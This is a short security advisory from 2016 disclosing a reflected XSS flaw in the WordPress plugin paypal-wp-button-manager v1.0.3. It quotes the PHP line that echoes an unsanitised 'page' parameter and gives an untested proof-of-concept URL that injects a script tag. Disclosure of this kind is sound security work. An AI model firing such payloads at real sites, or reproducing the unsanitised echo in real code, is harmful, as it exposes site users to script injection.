Advisory #: 833
Title: Reflected XSS in wordpress plugin paypal-wp-button-manager v1.0.3
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/paypal-wp-button-manager
Downloads: 2931
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: paypal-wp-button-manager
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./paypal-wp-button-manager/admin/partials/class-paypal-wp-button-manager-companies.php: 204: <input type="hidden" name="page" value="<?php echo $_REQUEST['page'] ?>"/> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./paypal-wp-button-manager/admin/partials/class-paypal-wp-button-manager-companies.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/paypal-wp-button-manager/admin/partials/class-paypal-wp-button-manager-companies.php?page="><script>alert(1);</script><"